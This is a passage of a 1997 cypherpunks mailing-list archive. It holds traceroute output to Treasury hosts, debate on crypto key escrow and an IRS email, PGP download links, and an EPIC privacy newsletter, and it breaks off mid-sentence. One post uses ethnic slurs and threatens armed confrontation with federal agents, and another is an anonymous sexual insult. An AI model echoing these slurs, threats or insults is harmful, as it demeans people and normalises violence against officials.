gotcha.treas.gov        internet address = 204.151.246.80

`gotcha.treas.gov'?  It's a real host connected through ans.net ...

12  h10-1.t32-0.New-York.t3.ans.net (140.223.57.30)  139.839 ms  126.702 ms  125.82 ms
13  h11-1.t56-1.Washington-DC.t3.ans.net (140.223.57.21)  147.248 ms  124.774 ms  118.815 ms
14  f0-0.cnss60.Washington-DC.t3.ans.net (140.222.56.196)  192.54 ms  125.939 ms  166.529 ms
15  enss3080.t3.ans.net (192.103.66.18)  130.917 ms  131.057 ms  145.377 ms
16  gotcha.treas.gov (204.151.246.80)  133.065 ms  134.345 ms  131.596 ms

Except for hop 16, this is the same traceroute as to
tcs-gateway2.treas.gov.  For what it's worth, the traceroute to
tcs-gateway1 is slightly different:

 8  h13-1.t16-0.Los-Angeles.t3.ans.net (140.223.9.14)  44.997 ms  51.526 ms  51.875 ms
 9  h14-1.t112-0.Albuquerque.t3.ans.net (140.223.17.10)  60.895 ms  60.426 ms  57.762 ms
10  h14-1.t64-0.Houston.t3.ans.net (140.223.65.9)  81.131 ms *  85.067 ms
11  h14-1.t80-1.St-Louis.t3.ans.net (140.223.65.14)  117.62 ms  100.623 ms  104.878 ms
12  h10-1.t60-0.Reston.t3.ans.net (140.223.61.13)  126.368 ms  136.017 ms  123.367 ms
13  f2-0.c60-10.Reston.t3.ans.net (140.223.60.220)  129.505 ms  128.214 ms  128.52 ms
14  enss3079.t3.ans.net (204.148.66.66)  134.707 ms  162.912 ms  160.774 ms
15  tcs-gateway1.treas.gov (204.151.245.2)  154.268 ms *  155.898 ms





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 24 Jul 1997 13:30:50 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Fw: Cops, Spies Fail to Slow Crypto Bill
In-Reply-To: <Chameleon.869671376.amp@ampugh.mcit.com>
Message-ID: <v0300781aaffc79480662@[207.94.249.108]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:00 AM -0700 7/23/97, Tim May wrote:
>And when people repeatedly point out that common criminals, terrorists, and
>the like are unlikely in the extreme to escrow their keys with the
>government...the government shills and officials are silent.

I can't resist.  "When crypto is outlawed, only outlaws will have crypto."
However, in the case of crypto, essentially all terrorists, child
pornographers, big-time drug dealers, and big-time money launderers will
have and use it.

To try to redeem myself for yielding to temptation let me offer the
following scenario:

It is sometime in the year 2002.  The GAK crowd has achieved its wildest
wet dream, and all development of non-GAKed crypto stopped in 1998.  All
the standard computer software uses GAKed crypto.

Let us further assume that US Airframes Inc. (USAI) is in heavy competition
with French Wings Inc. to build the next generation of passenger airplanes.
The competition is so heavy that the respective governments are doing all
they can to provide under-the-table help to their national champions.  This
certainly includes playing the GAK card and decrypting every communication
they can get their hands on.

Now assume you are the security manager of USAI.  Your job is to ensure the
confidentiality of communications between your branch offices and
headquarters in the US.  You get (perhaps from someone who enjoys child
pornography) a copy of PGP which was saved on some forgotten CDROM backup
dating from 1997.  You share your copy with headquarters and the branch
offices, generate key pairs, and validate their MD5 hashes through some
offline protocol.  Now all really sensitive traffic is encrypted with PGP
and then sent through the standard GAK crypto.

Now consider the problem of the French Government.  The only way they can
know you are using illegal crypto is to decrypt the GAKed outer layer.  If
they arrest you for using illegal crypto, they have blown their covert
monitoring.  The US government will make a big international incident about
this misuse of GAK and impose a special tariff on French wine.  If the
French keep quiet, you can continue to use PGP.

This is the classic dilemma of covert decryption.  Kahn describes is well
in "The Code Breakers".  It also applies to the four horsemen.  If the
government arrests someone for illegal crypto, the whole organization knows
that part of the operation has attracted government attention, and can
change their communications and/or have those people take a vacation to
cool off.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Thu, 24 Jul 1997 12:25:01 +0800
To: John Young <jya@pipeline.com>
Subject: Re: DEATH TO THE TYRANTS
In-Reply-To: <1.5.4.32.19970723233941.006d1374@pop.pipeline.com>
Message-ID: <Pine.GSO.3.95.970723232832.6899C-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



It's actually the Secret Service offices that are upstairs from the Time
bureau, on the top floor of the building. Perhaps because we're close
enough to see the White House? Dunno. The only time I went up there was
when they were selling Xmas tree ornaments. 

I have a call into the IRS about this mail, BTW. So far nobody has (or
admits to having) any idea what I'm talking about.

-Declan


On Wed, 23 Jul 1997, John Young wrote:

> 
> BTW, Declan, did you not once write that IRS offices are down the corridor
> from yours? If so, would you care to ask the thieves their opinion of the spam,
> especially if they are the authors, sneaking into your box and lifting lists
> while 
> you're sipping and baseballing with the brokers?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 24 Jul 1997 20:15:48 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: IRS sending warning notes, violating ECPA?
In-Reply-To: <19970721183800.02930@bywater.songbird.com>
Message-ID: <Pine.LNX.3.91.970724001910.2504A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > The sending of this email to people Jim has communicated with, if it was 
> > a real mail (I haven`t checked before but other people have and have said 
> > the headers indicate it passed through several .gov hosts), constitutes 
> > cowardly harrasment.
> 
> Oh, right.  If there is anyplace in cyberspace where experts in 
> cowardly harassment by email exist, it is on this list.  Get real.

I never claimed to be above a little cowardly harrasment myself, just 
pointed out that this is the general level at which this mail appeared to 
be. Nor indeed did I say there was anything wrong with cowardly 
harrasment, in it`s place.

> More likely someone at IRS thought they would stir things up a bit, 
> and is having a bit of fun watching all this.  Maybe they even 
> thought they were doing people a favor.

Possibly, the first explanation strikes me as most likely. 

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 24 Jul 1997 16:23:42 +0800
To: "CST Administration Dept" <admin@CyberSpaceTechnologies.com>
Subject: Re:I have had ENOUGH of this government bullshit!!
In-Reply-To: <199707240727.CAA07675@oceanus.host4u.net>
Message-ID: <3.0.2.32.19970724010956.03171084@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



And you can get PGP outside the US borders from ftp.ox.ac.uk
or any other ftp://ftp.pgp.net/pub/pgp mirror, 
and also in the US at www.pgp.com or pgp.mit.edu.

At 03:27 AM 7/24/97 -0400, CST Administration Dept wrote:
>Screw this. I have finally blown my stack over this bullshit governmental
>crap. From this oint forward, I fully and completely make available, 
>IN THE U.S, the International version of PGP 2.63.ix.
...
>	ftp://ftp.cyberspacetechnologies.com/pub/pgp/pgp263ix.zip
>  Here is my homepage, http://www.cyberspacetechnologies.com
>You can find anything you wnat about Cyrptography, General Encryption
>Information, PGP, Anonymous Remailing, PGP and Cryptography Newsgroups, and
>chat real time with folks from here. If you Feds don't want people like me
>making shit like this avaliable, then come get me. (Excuse the rant folks,
>but this shit is REALLY pissing me off!) McCain, take your Secured Public
>Networks Act and shut it up your ass!



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 24 Jul 1997 17:10:02 +0800
To: cypherpunks@Algebra.COM
Subject: All the lonely sheeple...
In-Reply-To: <19970723010939.51681@bywater.songbird.com>
Message-ID: <19970724015808.65289@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



>On Wed, Jul 23, 1997 at 08:47:18AM -0400, William H. Geiger III wrote:
>In <19970723010939.51681@bywater.songbird.com>, on 07/23/97 
>   at 01:09 AM, Kent Crispin <kent@songbird.com> said:
>
>>Yes, Tim talks a brave talk.  But, though the parameters of his  slavery
>>are different than most of ours, he is part of the flock,  nonetheless. 
>
>Well Kent I think that there are distinct differences between someone like
>Tim who dislikes his slavery and is actively working to remove his bonds
>and others like yourself who not only like the "security" of being
>inslaved but wish more chains to be put on us all.
>
>Tim may be part of the "flock" but only because their is a gun to his head
>while youself would be a sheeple even if the slavemasters were gone.

It's a sad commentary on human nature that so many people need an
enemy they can despise, isn't it?

You and Tim and the rest of the narrow minded bigots that fancies
themselves as the "cryptoanarchy elite" -- you go on and on: "Yes, those
goddamn SHEEPLE, those braindead subhuman parasites of true humanity,
that suck the blood of right-thinking productive individuals.  Yes,
the SHEEPLE, that mass of unthinking blind vermin that might as well
be removed from the face of the earth.  They aren't HUMAN.  We're sure
glad we're not like them! Where's that nuclear disinfectant when you
need it?".  All the time congratulating yourselves on your
independence of mind, how you've managed to free yourselves from the
"rat race choir"... 

Welcome to the cryptoanarchy choir!

I was pointing out that fundamentally, Tim's example of the "corporate
types" is vacuous and hypocritical -- he modulates his self-expression
just as much as they do -- but hell, we *all* modulate our
self-expression to preserve our livelihood, at some level or another
-- even Tim McVeigh lets his lawyer do his talking... 

As far as Tim (or you) knows every single one of those "corporate
types" dislikes their slavery just as much as he does, and is working
just as hard as he is to remove their bonds.  Everybody works within
their constraints. 

Tim says in another message that apparently I am dissing him as a
hypocrite because he isn't out blowing up buildings.  No.  He's a
hypocrite because he roars criticism at the sheeple without applying
those same standards to himself.  It's more than the lazy habit of
scapegoating -- it's an active and contemptible use of we-vs-them
demagoguery.

I honor and respect integrity, William.  Even more, I honor and
respect those who keep their strongest criticisms for themselves.  To
paraphrase Nietzsche, in this regard the self-defined "cryptoanarchy
elite" are "not even shallow". 


-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 24 Jul 1997 18:01:53 +0800
To: cypherpunks@toad.com
Subject: Re: Brit Fascists To Track Motorists - DigiCash Obsolescent
In-Reply-To: <199707231815.UAA09529@basement.replay.com>
Message-ID: <19970724023449.58782@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, Jul 23, 1997 at 01:59:00PM -0700, Bill Stewart wrote:
[...]
> And, yes, all of this privacy loss happens because somebody decided
> it was convenient to put a car-ownership-tax receipt on the outside
> of a car so police can quickly decide if you've paid your taxes...
> The rest of it's just implementation details.

Of course, you could just confine your driving to private roads, and
leave the license plate off. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "CST Administration Dept" <admin@CyberSpaceTechnologies.com>
Date: Thu, 24 Jul 1997 15:45:07 +0800
To: <cypherpunks@toad.com>
Subject: Re:I have had ENOUGH of this government bullshit!!
Message-ID: <199707240727.CAA07675@oceanus.host4u.net>
MIME-Version: 1.0
Content-Type: text/plain





Screw this. I have finally blown my stack over this bullshit governmental
crap. From this oint forward, I fully and completely make available, IN THE
U.S, the International version of PGP 2.63.ix.
If there are any cops, Feds, Spies, wops, spics, gigaboos, alternate
lifestyles, punks, crackers, crackheads, whatever other name calling terms,
I left out,    want to stop me --- TRY!!!! This is bullshit people! We have
the inalieable right to full and total screcy, privacy, and personal
protection of whatever  * W E *  determine to be private information. The
government has gotten out of hand with this shit. If you are a member of the
F.B.I, C.I.A, S.S, N.S.A, X.Y.Z community and you don't like this action,
show up at my doorstep guns drawn. Cause you show up at MY door step, you'll
need them! That I promise!

To download the International version of PGP 2.93.ix within the U.S borders,
go here-------->> ftp://ftp.cyberspacetechnologies.com/pub/pgp/pgp263ix.zip

  Here is my homepage, http://www.cyberspacetechnologies.com
You can find anything you wnat about Cyrptography, General Encryption
Information, PGP, Anonymous Remailing, PGP and Cryptography Newsgroups, and
chat real time with folks from here. If you Feds don't want people like me
making shit like this avaliable, then come get me. (Excuse the rant folks,
but this shit is REALLY pissing me off!) McCain, take your Secured Public
Networks Act and shut it up your ass!
I'm done.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "CST Administration Dept" <admin@CyberSpaceTechnologies.com>
Date: Thu, 24 Jul 1997 16:38:47 +0800
To: "Bill Stewart" <stewarts@ix.netcom.com>
Subject: Re: Re:I have had ENOUGH of this government bullshit!!
Message-ID: <199707240820.DAA16747@oceanus.host4u.net>
MIME-Version: 1.0
Content-Type: text/plain



>And you can get PGP outside the US borders from ftp.ox.ac.uk
>or any other ftp://ftp.pgp.net/pub/pgp mirror,
>and also in the US at www.pgp.com or pgp.mit.edu.
>
That is true, but with the MIT setup, you have to certify that you are a US
citizen and that you won't export it. Also, there are lots of folks who have
trouble with the overseas downloads. I just plan on making it available for
those in the US that want an independent site with out all the rig an
mirole.  Besides, I guesss this is just my own way of showing MY government
who I worked for for 8 years that I won't take it anymore. This is my way of
firmly placing myself in the Pro-Encryption camp. That means that their
enemies are mine now. And if the government wants to be my enemy, then it is
their choice. I served 8 years in the Army protecting our interests. One of
them was our Consitution and our Bill of Rights. This is ALSO my my of
letting them know that I will not tolerate them walking all over those core
items anymore without a fight.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Thu, 24 Jul 1997 22:48:22 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199707241418.HAA06215@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Timmy May's 16Kb brain's single convolution is 
directly wired to his rectum for input and his T1 
mouth for output. That's 16K bits, not bytes. Anal 
intercourse has caused extensive brain damage.

  o o Timmy May
   o
  \_/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 24 Jul 1997 23:28:31 +0800
To: cypherpunks@Algebra.COM
Subject: Re: DEATH TO THE TYRANTS
In-Reply-To: <v03102800affc86bdca7e@[207.167.93.63]>
Message-ID: <v03102802affd225e61fa@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:03 AM -0700 7/24/97, Ray Arachelian wrote:

>For one thing, I suggest we setup a nice big form letter and spam them
>back with it stating that we do not condone spamming and that we intend to
>sue their asses for using our private emails to distribute government
>propaganda.  (The quartering of soldiers and all that shit would be a nice
>constituional point to include.)  Any lawyer like folk willing to write up
>such a beast?  I'd gladly attach my email address to it as it's being
>sent.

Well, we've had this disagreement before. They, the IRS, have as much right
to use e-mail addresses as anyone else. "Unrequested mail" is not spam.

As for suing them, on what basis?

I think it mildly worrisome, and _potentially_ evidence of threatening
behavior, to send out press releases to those who are not parties to the
Bell matter and are not known to be reporters or media outlets, but this
all remains to be shown.

And of course it may be embarassing to the IRS to be sending out e-mail
with the subject header "DEATH TO TYRANTS." (Note that it was not "Re:
DEATH TO TYRANTS.")

A sentiment I agree with, of course, but I didn't think they did. Maybe
there's one of us inside the Beast? Maybe he's been reading the threads on
how to acquire Semtex?

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 25 Jul 1997 00:31:51 +0800
To: cypherpunks@toad.com
Subject: EPIC Alert 4.11 (fwd)
Message-ID: <Pine.GSO.3.95.970724091421.25014D-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Thu, 24 Jul 1997 08:10:31 -0400
From: Dave Banisar <banisar@epic.org>




   ==============================================================

       @@@@  @@@@  @@@  @@@@      @    @     @@@@  @@@@  @@@@@
       @     @  @   @   @        @ @   @     @     @  @    @
       @@@@  @@@    @   @       @@@@@  @     @@@   @@@     @
       @     @      @   @       @   @  @     @     @  @    @
       @@@@  @     @@@  @@@@    @   @  @@@@  @@@@  @   @   @

   ==============================================================
   Volume 4.11	                                 July 23, 1997
   --------------------------------------------------------------

                            Published by the
              Electronic Privacy Information Center (EPIC)
                            Washington, D.C.

                          http://www.epic.org/

=======================================================================
Table of Contents
=======================================================================

[1] AOL to Sell Subscriber Telephone Numbers
[2] Search Engine Rating Scheme Touted at White House
[3] Another House Committee Approves SAFE Crypto Bill
[4] FTC Acts on Kids' Privacy
[5] Cellular Phone Group Asks FCC to Set Wiretap Standards
[6] New Bills in Congress
[7] New at the EPIC Bookstore
[8] Upcoming Conferences and Events

=======================================================================
[1] AOL to Sell Subscriber Telephone Numbers
=======================================================================

In a quiet change to its privacy policy, America Online will soon be
adding subscriber phone numbers to the list of personal information that
it sells to direct marketers.  The company may also match member lists
against "publicly available third-party data" to develop lists for
outside direct mail opportunities.  Previously, AOL's privacy policy
prevented the disclosure of subscriber telephone numbers, while allowing
the company to sell member names and addresses.

The new policy, which is to take effect on July 31, can be found in the
relatively obscure "Terms of Service" area of the online service.  No
notice of the new policy has been provided on the "Welcome" screen where
new AOL features are typically announced.  The revised policy states that

     We make our mailing list (name and address) available to
     select independent companies that offer products and information
     we think may interest you.  Additionally, we may make the list
     with telephone numbers available to companies with which AOL,
     Inc. has contractual marketing and online relationships for the
     purpose of permitting such companies to offer products and
     services over the telephone.  AOL, Inc. may also match the
     Member lists against publicly available third-party data
     (demographic information, areas of interest, etc.) to develop
     lists for use by these companies.

The new policy, which is to take effect on July 31, also points out that
AOL discloses individual information in an aggregated form in order to
describe its services to prospective partners, advertisers and other
third parties.  AOL may also use publicly available third-party data such
as demographic information and areas of interest to assist AOL in their
"programming, editorial research and to offer special opportunities to
our Members."

While AOL will generally not disclose "navigational" or "transactional"
information (such as where you go or what you buy through AOL) to third
parties, it may use such information to develop member lists for
companies with which AOL has a contractual marketing relationship.

For years (and most recently before the Federal Trade Commission),
industry has argued that self-regulation and not legislation is the only
way to ensure that businesses protect individual privacy in electronic
media.  If AOL's new privacy policy is representative of industry's
vision of what self regulation entails, users may have real cause for
concern.

More information on online privacy is available at:

     http://www.epic.org/privacy/

=======================================================================
[2] Search Engine Rating Scheme Touted at White House
=======================================================================

Leading industry groups suggested on July 16 that they may exclude
material from widely used search engines unless the authors agree to
attach subjective rating labels to all web pages and other online
information. Less than three weeks after the Supreme Court struck down
the Communications Decency Act, a far more sweeping proposal to restrict
information available on the Internet -- "filtering," "blocking" and
rating online content -- was touted at a White House summit meeting.

Announcing the Administration's "Strategy for a Family Friendly
Internet," President Clinton described the private sector initiative that
will presumably preclude the need for new content-control legislation:

     For ["family-friendly"] controls to work to their full
     potential, we also need to encourage every Internet site,
     whether or not it has material harmful for young people, to
     label its own content as the Vice President described just a
     few moments ago. To help to speed the labeling process along,
     several Internet search engines -- the Yellow Pages of
     cyberspace, if you will -- will begin to ask that all Web
     sites label content when applying for a spot in their
     directories.

     I want to thank Yahoo, Excite and Lycos for this important
     commitment. You're helping greatly to assure that self-
     labeling will become the standard practice. And that must
     be our objective.

While such an approach might seem preferable to CDA-type legislation at
first glance, it raises the specter of an Internet where only the
equivalent of "PG" rated content could be found through the search
engines users have come to depend on.  EPIC is encouraging users to
contact the search services and oppose such rating requirements as
fundamentally at odds with free speech principles.

More information on filtering/blocking/rating, and contact information
for the major search engines, is available at:

     http://www.epic.org/free_speech/censorware/

=======================================================================
[3] Another House Committee Approves SAFE Crypto Bill
=======================================================================

The House International Relations Committee approved the SAFE encryption
bill on July 22.  The legislation, which had already been approved by the
House Judiciary Committee, would substantially relax U.S. export controls
on encryption.  By a vote of 22-13, the committee rejected an amendment
offered by Chairman Benjamin Gilman (R-NY) that would have permitted the
President to maintain strict controls on the technology upon a finding
that "the export of such items would adversely affect the national
security."

The Committee's rejection of Gilman's amendment was particularly
significant, given that top officials from the FBI, National Security
Council and the Drug  Enforcement Agency took the unusual step of
appearing before the panel to warn that use of encryption by criminals
would hamper their ability to fight crime.  Secretary of Defense William
Cohen also transmitted a written appeal to the Committee members in which
he urged rejection of the SAFE bill.

While encryption reform efforts have moved forward in the House,
prospects in the Senate are less promising.  On June 18, the Senate
Commerce Committee approved the Secure Public Networks Act (S. 909),
which was introduced by Sens. Bob Kerrey (D-NE) and John McCain (R-AZ).
That bill contains a number of coercive measures that would force
widespread domestic adoption of key escrow encryption techniques

The SAFE bill will now be considered by the Commerce, National Security,
and Intelligence committees in the House, which are expected to vote on
the legislation by early September.

More information on the SAFE bill is available at:

     http://www.epic.org/crypto/

=======================================================================
[4] FTC Acts on Kids' Privacy
=======================================================================

The Federal Trade Commission has found that a web site which collects
data from kids and then sells it without notice is engaging in a
deceptive business practice in violation of the Federal Trade Commission
Act.

The Center for Media Education brought the complaint against KidsCom on
May 13, 1996, charging that the popular children's Web site was using
deceptive and unfair practices to market to children.  CME filed the
petition in an effort to address the growing problem of deceptive and
unfair marketing practices targeting children on the Web.

The Commission's action marks the first formal articulation of policy by
the agency's Bureau of Consumer Protection regarding what is permissible
when marketing to children online.  The FTC letter sets out broad
principles that apply generally to online information collection from
children. The FTC stated that:

     A practice is unfair under Section 5 if it causes, or is likely
     to cause, substantial injury to consumers which is not reasonably
     avoidable and is not outweighed by countervailing benefits to
     consumers or competition.(11) We believe that it would likely
     be an unfair practice in violation of Section 5 to collect
     personally identifiable information, such as name, e-mail
     address, home address or phone number, from children and
     sell or otherwise disclose such identifiable information to
     third parties without providing parents with adequate notice,
     as described above, and an opportunity to control the
     collection and use of the information.

Because KidsCom changed the operation of its website after the CME
complaint was filed, the FTC said that it would take no enforcement
action. The FTC letter concluded:

     We will continue to monitor KidsCom, as well as other
     commercial Web site operators, to ascertain whether they may
     be engaged in deceptive or unfair practices. Hereafter, staff
     may recommend law enforcement proceedings against marketers
     who engage in deceptive information practices, or who unfairly
     use personally identifiable information collected from
     children.

FTC Letter Ruling is available at:

     http://www.ftc.gov/os/9707/cenmed~1.htm

CME Statement is available at:

     http://tap.epn.org/cme/ftc716.html

=======================================================================
[5] Cellular Phone Group Asks FCC to Set Wiretap Standards
=======================================================================

The Cellular Telephone Industry Association (CTIA) on July 16 asked the
Federal Communications Commission to step in to help develop the
standards for wiretapping under the Communications Assistance for Law
Enforcement Act (CALEA).  The telephone industry and the FBI have been
quietly meeting for two years to develop the new standards required by
the law.  The CTIA is objecting to additional FBI demands not included in
the law such as that cellular phones function as tracking devices.

In a July 15 letter to FBI Director Louis Freeh, the head of CTIA, Thomas
Wheeler, called the FBI position "intractable" and detailed how FBI and
law enforcement objections prevent an industry-sponsored standard from
being adopted.  In response, the Bureau called the CTIA action a "short
circuit" of the standards process and denied that it was seeking
additional powers.  Both the industry position and the FBI demands are
problematic from a privacy perspective, as both would facilitate easier
wiretapping and the collection of transactional information.

CALEA requires that all telecommunications providers redesign their
systems by October 1998 to make wiretapping of new communications
technologies easier.  Phone companies are eligible to receive $500
million from the FBI to implement the new systems.

More information on CALEA and wiretapping is available from:

     http://www.epic.org/privacy/wiretap/

=======================================================================
[6] New Bills in Congress
=======================================================================

H.R. 2180. On-Line Copyright Liability Limitation Act.  Would limit
liability for online service providers that are not aware that
copyrighted materials are going over their networks.  Introduced by Rep.
Coble (R-NC) on July 16. Referred to the Committee on the Judiciary.

H.R.2198.  Genetic Privacy and Nondiscrimination Act of 1997.  Would
limit use and disclosure of genetic information by health insurance
companies; prohibit employers from attempting to acquire, or to use,
genetic information, or "to require a genetic test of an employee or
applicant for employment" or to disclose the information.  Introduced by
Rep. Stearns (R-FL) on July 17.  Referred to the Committee on Commerce,
and in addition to the Committees on Government Reform and Oversight,
Education and the Workforce, and Veterans' Affairs.

An up-to-date list of pending legislation is available at:

     http://www.epic.org/privacy/bill_track.html

=======================================================================
[7] New at the EPIC Bookstore
=======================================================================

The EPIC Bookstore includes a wide range of books on privacy,
cryptography and free speech that can be ordered online.  Many of the
books are available at up to 40 percent off list price.

New titles include:

  "Protect Your Privacy on the Internet" by Bryan Pfaffenberger

  "Digital Cash" by Peter Wayner

  "Contested Commodities" by Margaret Jane Radin

Other popular titles:

  "The Right to Privacy" by Ellen Alderman & Caroline Kennedy

  "Who Knows: Safeguarding Your Privacy in a Networked World"
   by Ann Cavoukian & Don Tapscott

  "Applied Cryptography, 2nd Edition" by Bruce Schneier

We are also now featuring _The Tin Drum_ by Gunther Grass.  The novel, a
bizarre but extraordinary diary of a young boy who refuses to grow up
during the rise and fall of Nazi Germany, is considered by some the
greatest German novel written since WWII.  In 1979, the film version of
the Tin Drum received an Academy Award for Best Foreign Film.  However,
in recent months, groups that oppose "pornography" have persuaded the
Oklahoma City Library to remove copies of the film from the public
library.  For this reason, we are now making the book available at the
EPIC Bookstore.

Support the Freedom to Read.

Check out the EPIC Bookstore at:

     http://www.epic.org/bookstore/

=======================================================================
[8] Upcoming Conferences and Events
=======================================================================

Hacking In Progress. August 8-10, 1997. Almere, Netherlands. Sponsored by
Hac-Tic. Contact: http://www.hip97.nl/

Beyond HOPE. August 8-10, New York City. Sponsored by 2600. Contact:
http://www.2600.com.

TELECOM Interactive 97.  September 8-14, 1997. Geneva, Switzerland.
Sponsored by the International Telecommunications Union.  Contact:
telecom-interactive@itu.int or http://gold.itu.int/TELECOM/int97/

Cryptography and The Internet: Developing Privacy and Security Policy
for the European Information Society. September 15, 1997. Brussels,
Belgium. Sponsored by Privacy International. Contact: ast3@privacy.org.
http://www.privacy.org/pi/conference/brussels/

19th Annual International Privacy and Data Protection Conference.
September 17-18, 1997. Brussels, Belgium. Sponsored by Belgium Data
Protection and Privacy Commission. Email privacy@infoboard.be

International Conference on Privacy. September 23-26, 1997. Montreal,
Canada. Sponsored by Lavery, de Billy (corporate law firm).
http://www.confpriv.qc.ca/

Managing the Privacy Revolution '97. October 21-23, 1997. Washington, DC.
Sponsored by Privacy and American Business. Contact:
http://shell.idt.net/~pab/conf97.html

RSA'98 -- The 1998 RSA Data Security Conference.  January 12-16, 1998.
San Francisco, CA.  Contact kurt@rsa.com or http://www.rsa.com/conf98/


             (Send calendar submissions to alert@epic.org)

=======================================================================

The EPIC Alert is a free biweekly publication of the Electronic Privacy
Information Center.  To subscribe, send email to epic-news@epic.org wih
the subject: "subscribe" (no quotes) or use the subscription form at:

      http://www.epic.org/alert/subscribe.html

Back issues are available at:

      http://www.epic.org/alert/

=======================================================================

The Electronic Privacy Information Center is a public interest research
center in Washington, DC.  It was established in 1994 to focus public
attention on emerging privacy issues such as the Clipper Chip, the
Digital Telephony proposal, national ID cards, medical record privacy,
and the collection and sale of personal information.  EPIC is sponsored
by the Fund for Constitutional Government, a non-profit organization
established in 1974 to protect civil liberties and constitutional
rights.  EPIC publishes the EPIC Alert, pursues Freedom of Information
Act litigation, and conducts policy research.  For more information,
e-mail info@epic.org, http://www.epic.org or write EPIC, 666
Pennsylvania Ave., SE, Suite 301, Washington, DC 20003. +1 202 544 9240
(tel), +1 202 547 5482 (fax).

If you'd like to support the work of the Electronic Privacy Information
Center, contributions are welcome and fully tax-deductible.  Checks
should be made out to "The Fund for Constitutional Government" and sent
to EPIC, 666 Pennsylvania Ave., SE, Suite 301, Washington DC 20003.
Individuals with First Virtual accounts can donate at
http://www.epic.org/epic/support.html

Your contributions will help support Freedom of Information Act and
First Amendment litigation, strong and effective advocacy for the right
of privacy and efforts to oppose government regulation of encryption and
funding of the National Wiretap Plan.

Thank you for your support.

  ---------------------- END EPIC Alert 4.11 -----------------------

..

-------
David Banisar (Banisar@epic.org)                *    202-544-9240 (tel)
Electronic Privacy Information Center           *    202-547-5482 (fax)
666 Pennsylvania Ave, SE, Suite 301             *    HTTP://www.epic.org
Washington, DC 20003 * PGP Key  http://www.epic.org/staff/banisar/key.html









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Doug Peterson <fnorky@geocities.com>
Date: Thu, 24 Jul 1997 23:56:21 +0800
To: declan@well.com
Subject: Re: DEATH TO THE TYRANTS
In-Reply-To: <Pine.GSO.3.95.970723232832.6899C-100000@cp.pathfinder.com>
Message-ID: <33D77571.6FC0@geocities.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
> 
> It's actually the Secret Service offices that are upstairs from the Time
> bureau, on the top floor of the building. Perhaps because we're close
> enough to see the White House? Dunno. The only time I went up there was
> when they were selling Xmas tree ornaments.
 
Secret Service Xmas tree ornaments?  Hmm.  Next time they are selling
them, could you find out if they have a mail order address?

-Doug





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 24 Jul 1997 22:37:22 +0800
To: cypherpunks@toad.com
Subject: Reference.Com wants to pay listowners to send ads to their lists
In-Reply-To: <199707241315.GAA15443@bilbo.reference.com>
Message-ID: <35Lcae20w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



One of my many hats is the owner of a very technical mailing list
with about 400 subscribers.  I received the following unsolicited
